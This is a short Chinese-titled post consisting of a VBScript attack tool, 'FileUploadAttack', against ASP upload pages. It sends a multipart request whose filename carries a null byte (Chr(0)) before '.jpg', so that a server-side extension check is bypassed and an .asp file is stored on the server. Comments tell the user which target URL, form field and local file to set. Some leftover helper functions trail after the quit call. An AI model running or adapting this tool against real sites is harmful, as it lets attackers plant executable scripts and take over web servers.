ASP上传漏洞之利用CHR(0)绕过扩展名检测脚本

Option Explicit

Function file_get_contents(filename)
Dim fso, f
Set fso = WSH.CreateObject("Scripting.FilesystemObject")
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
End Function

' 代码修改自 http://www.motobit.com/tips/detpg_uploadvbsie/
Class FileUploadAttack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName

Private Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
"WinHttp.WinHttpRequest.5.1")
End Sub

Private Sub Class_Terminate()
Set m_objWinHttp = Nothing
End Sub

Public Sub setUrl(url)
m_strUrl = url
End Sub

Public Sub setFieldName(name)
m_strFieldName = name
End Sub

'Infrormations In form field header.
Function mpFields(FieldName, FileName, ContentType)
Dim MPTemplate 'template For multipart header
MPTemplate = "Content-Disposition: form-data; name=""{field}"";" + _
" filename=""{file}""" + vbCrLf + _
"Content-Type: {ct}" + vbCrLf + vbCrLf
Dim Out
Out = Replace(MPTemplate, "{field}", FieldName)
Out = Replace(Out, "{file}", FileName)
mpFields = Replace(Out, "{ct}", ContentType)
End Function
'Converts OLE string To multibyte string
Function StringToMB(S)
Dim I, B
For I = 1 To Len(S)
B = B & ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function

'Build multipart/form-data document with file contents And header info
Function BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Dim FormData, Pre, Po
Const ContentType = "application/upload"

'The two parts around file contents In the multipart-form data.
Pre = "--" + Boundary + vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + "--" + Boundary + "--" + vbCrLf

'Build form data using recordset binary field
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject("ADODB.Recordset")
RS.Fields.Append "b", adLongVarBinary, _
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'Convert Pre string value To a binary data
LenData = Len(Pre)
RS("b").AppendChunk (StringToMB(Pre) & ChrB(0))
Pre = RS("b").GetChunk(LenData)
RS("b") = ""

'Convert Po string value To a binary data
LenData = Len(Po)
RS("b").AppendChunk (StringToMB(Po) & ChrB(0))
Po = RS("b").GetChunk(LenData)
RS("b") = ""

'Join Pre + FileContents + Po binary data
RS("b").AppendChunk (Pre)
RS("b").AppendChunk (FileContents)
RS("b").AppendChunk (Po)
RS.Update
FormData = RS("b")
RS.Close
BuildFormData = FormData
End Function


Public Function sendFile(fileName)
Const Boundary = "---------------------------0123456789012"
m_objWinHttp.Open "POST", m_strUrl, False
m_objWinHttp.setRequestHeader "Content-Type", _
"multipart/form-data; boundary=" + Boundary

Dim FileContents, FormData
'Get source file As a binary data.
FileContents = file_get_contents(FileName)

' 下面构造了恶意文件扩展名Chr(0) & .jpg
'Build multipart/form-data document
FormData = BuildFormData(FileContents, Boundary, _
FileName & Chr(0) & ".jpg", m_strFieldName)

m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
End Function

Public Function getText()
getText = m_objWinHttp.ResponseText
End Function
End Class

Function VBMain()
VBMain = 0

Dim fileUpload
Set fileUpload = New FileUploadAttack
' 需要修改下面内容为合适内容
' 上传url
fileUpload.setUrl "http://localhost/upload/uploadfile.asp"
fileUpload.setFieldName "filepath" ' 上传表单框的name
' 需上传文件路径
If fileUpload.sendFile("E:\projects\asp\index.asp")=200 Then
MsgBox "上传成功" & fileUpload.getText()
Else
MsgBox "失败"
End If
Set fileUpload = Nothing
End Function

Call WScript.Quit(VBMain())

' 将指定charset的字符串str转换为二进制
Function strtobin(str, charset)
With WSH.CreateObject("ADODB.Stream")
.Type = 2
.Mode = 3
.Open
.Charset = charset
.WriteText str
.Flush
.Position = 0
.Type = 1

strtobin = .Read()
.Close
End With
End Function

FileContents = strtobin(file_get_contents(FileName), "ASCII")

'Returns file contents As a binary data
Function GetFile(FileName)
Dim Stream: Set Stream = CreateObject("ADODB.Stream")
Stream.Type = 1 'Binary
Stream.Open
Stream.LoadFromFile FileName
GetFile = Stream.Read
Stream.Close
Set Stream = Nothing
End Function